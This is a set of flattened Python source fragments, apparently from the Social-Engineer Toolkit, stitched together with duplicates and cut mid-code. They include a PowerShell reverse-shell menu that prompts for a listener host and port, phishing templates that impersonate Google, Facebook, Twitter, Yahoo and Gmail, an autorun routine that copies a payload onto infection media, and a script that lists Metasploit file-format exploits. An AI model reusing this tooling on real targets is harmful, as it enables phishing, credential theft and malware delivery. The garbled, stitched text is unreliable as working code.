# import os import shutil import subprocess import src.core.setcore as core from src.core.menu import text # Py2/3 compatibility # Python3 renamed raw_input to input try: input = raw_input except NameError: pass core.debug_msg(core.mod_name(), "printing 'text.powershell menu'", 5) show_powershell_menu = core.create_menu(text.powershell_text, text.powershell_menu) powershell_menu_choice = input(core.setprompt(["29"], "")) if powershell_menu_choice != "99": # specify ipaddress of reverse listener #ipaddr = core.grab_ipaddress() ipaddr = raw_input("Enter the IPAddress or DNS name for the reverse host: ") core.update_options("IPADDR=" + ipaddr) # if we select alphanumeric shellcode if powershell_menu_choice == "1": port = input(core.setprompt(["29"], "Enter the port for the reverse [443]")) if not port: port = "443"
import os import shutil import src.core.setcore as core # Py2/3 compatibility # Python3 renamed raw_input to input try: input = raw_input except NameError: pass dest = "src/html/" url = "" core.debug_msg(core.mod_name(), "entering src.html.templates.template'", 1) # # used for pre-defined templates # print(""" 1. Java Required 2. Google 3. Facebook 4. Twitter 5. Yahoo """) choice = raw_input(core.setprompt(["2"], "Select a template")) if choice == "exit": core.exit_set()
#!/usr/bin/env python3 # coding=utf-8 # This is just a simple import for web_start import sys import src.core.setcore as core core.debug_msg(core.mod_name(), "importing 'src.html.spawn'", 1) sys.path.append("src/html") try: import src.html.spawn except: pass
#!/usr/bin/env python # coding=utf-8 # simple autorun creation for set import os import subprocess from time import sleep import src.core.setcore as core # define metasploit path definepath = os.getcwd() msf_path = core.meta_path() me = core.mod_name() autorun_path = os.path.join(core.setdir, "autorun") trigger = 0 if core.check_options("INFECTION_MEDIA=") == "ON": trigger = 1 subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;" "mkdir {0} 1> /dev/null 2> /dev/null;" "cp {1} {2} 1> /dev/null 2> /dev/null".format( autorun_path, os.path.join(core.setdir, "payload.exe"), os.path.join(autorun_path, "program.exe")), shell=True).wait() if os.path.isfile(os.path.join(core.setdir, "fileformat.file")): trigger = 2 subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;"
#!/usr/bin/python from src.core.setcore import debug_msg, mod_name import subprocess import re import sys me = mod_name() sys.path.append("src/core") debug_msg(me,"re-importing 'src.core.setcore'",1) try: reload(setcore) except: import setcore print "[---] Updating the Social Engineer Toolkit FileFormat Exploit List [---]" generate_list=subprocess.Popen("%s/msfcli | grep fileformat > src/core/msf_attacks/database/msf.database" % (meta_path), shell=True).wait() print "[---] Database is now up-to-date [---]"
#!/usr/bin/env python3 from src.core.setcore import debug_msg, mod_name import subprocess import re import sys me = mod_name() sys.path.append("src/core") debug_msg(me, "re-importing 'src.core.setcore'", 1) try: module_reload(setcore) except: import setcore print( "[---] Updating the Social Engineer Toolkit FileFormat Exploit List [---]") generate_list = subprocess.Popen( "%s/msfcli | grep fileformat > src/core/msf_attacks/database/msf.database" % (meta_path), shell=True).wait() print("[---] Database is now up-to-date [---]")
#!/usr/bin/env python import subprocess import os import shutil from src.core import setcore as core me = core.mod_name() core.debug_msg(me,"entering src.html.templates.template'",1) # # used for pre-defined templates # print """ 1. Java Required 2. Gmail 3. Google 4. Facebook 5. Twitter """ choice=raw_input(core.setprompt(["2"],"Select a template")) if choice == "exit": core.exit_set() # file used for nextpage in java applet attack filewrite=file("src/program_junk/site.template", "w") # if nothing is selected if choice == "": choice = "1"
#!/usr/bin/env python # coding=utf-8 # This is just a simple import for web_start import sys import src.core.setcore as core core.debug_msg(core.mod_name(), "importing 'src.html.spawn'", 1) sys.path.append("src/html") try: import src.html.spawn except: pass